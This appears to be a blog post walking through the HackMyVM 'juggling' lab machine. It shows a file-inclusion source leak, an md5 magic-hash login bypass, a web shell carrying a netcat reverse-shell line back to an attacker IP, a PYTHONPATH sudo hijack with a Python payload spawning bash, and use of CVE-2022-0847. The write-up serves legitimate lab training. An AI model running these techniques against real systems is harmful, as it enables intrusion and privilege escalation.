当前位置:网站首页>hackmyvm: juggling walkthrough
hackmyvm: juggling walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get first shell
port scan:
add juggling.hmv
to hosts and browsing port 80.
there is a file inclusion in the url blog.php?page=test
use this url by php pseudo-protocol, we get the source code of index.php
.
base64 decode:
<?php
session_start();
require_once("sqldb_config.php");
if(isset($_SESSION['username'])) {
header("Location: admin.php");
die();
}
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$val1 = $_POST['val1'];
$val2 = $_POST['val2'];
$magicval = strcasecmp($val1,$val2);
$key = md5("$username".$password);
if (empty($val) && empty($val2)) {
echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Empty </h1>';
header("Refresh:3");
} else {
if ($val1 === $val2) {
echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Same </h1>';
header("Refresh:3");
} else {
if ($key == number_format($magicval * 1337)) {
$_SESSION['username'] = "ryan";
header("Location: admin.php"); die();
# header("Location: http://s3cur3.juggling.hmv/index.php");
header("Location: ../s3cur3/index.php");
} else {
header("Refresh:3");
}
}
}
}
?>
get a new url from the source code ../s3cur3/index.php
and new host s3cur3.juggling.hmv
. Add this host to hosts. By file inclusion see the index.php source code. Find eval
, but this also need session.
how to get the session?
from the first code, set username=s87892
, password=6199a
(you can use other username and password, please visit https://github.com/spaze/hashes/blob/master/md5.md), so the md5(“$username”.$password) for key is 0e545993274517709034328855841020
. set val1=test
, val2=TEST
, so the number_format($magicval * 1337) is 0
. By md5 equal bypass
, we get the session.
use this session, use post method to visit http://s3cur3.juggling.hmv/index.php. Finally by test.txt, write a simple shell
test.php`.
content in test.txt
: system("/bin/nc -e /bin/bash 192.168.85.169 4444");
get the first shell.
2. get the user’s privilege
check sudo, find user rehan can run md5.py with no password and can set the env. so change the env “PYTHONPATH” to user-defined paht “/tmp/test”, and there is a python file named hashlib.py
.
import os
class Test(object):
def __init__(self, test):
self.test = test
def hexdigest(self):
return self.test
def md5(test):
os.system("/bin/bash -i")
return Test(test)
run command: sudo -u rehan PYTHONPATH=/tmp/test /opt/md5.py
, get the user rehan
.
3. get root
use CVE-2022-0847, get root privilege.
边栏推荐
猜你喜欢
ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
IP access control: teach you how to implement an IP firewall with PHP
ES6三点运算符、数组方法、字符串扩展方法
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
ES6介绍+定义变量+不同情况下箭头函数的this指向
PHP入门(自学笔记)
阿里云设置域名解析重定向后,无法使用Chrome访问
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
[league/climate] A robust command-line function manipulation library
随机推荐
VIKINGS: 1 vulnhub walkthrough
如何计算地球上两点的距离(附公式推导)
Xiaoyao multi-open emulator ADB driver connection
PHP 给图片添加全图水印
(8) requests、os、sys、re、_thread
如何根据地图上的两个坐标点来确定方向
16. JS events, string and operator
4. The form with the input
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
查询数据库中所有表的索引,并且解析成sql
(6) 学生信息管理系统设计
ES6介绍+定义变量+不同情况下箭头函数的this指向
13.JS输出内容和语法
4.表单与输入
Thread Pool (Introduction and Use of Thread Pool)
PHP Foundation March Press Announcement Released
阿里云MySQL5.7安装以及部分主要问题(总和)
hackmyvm-random walkthrough
(7) 浅学 “爬虫” 过程 (概念+练习)
js __proto__、prototype、constructor的关系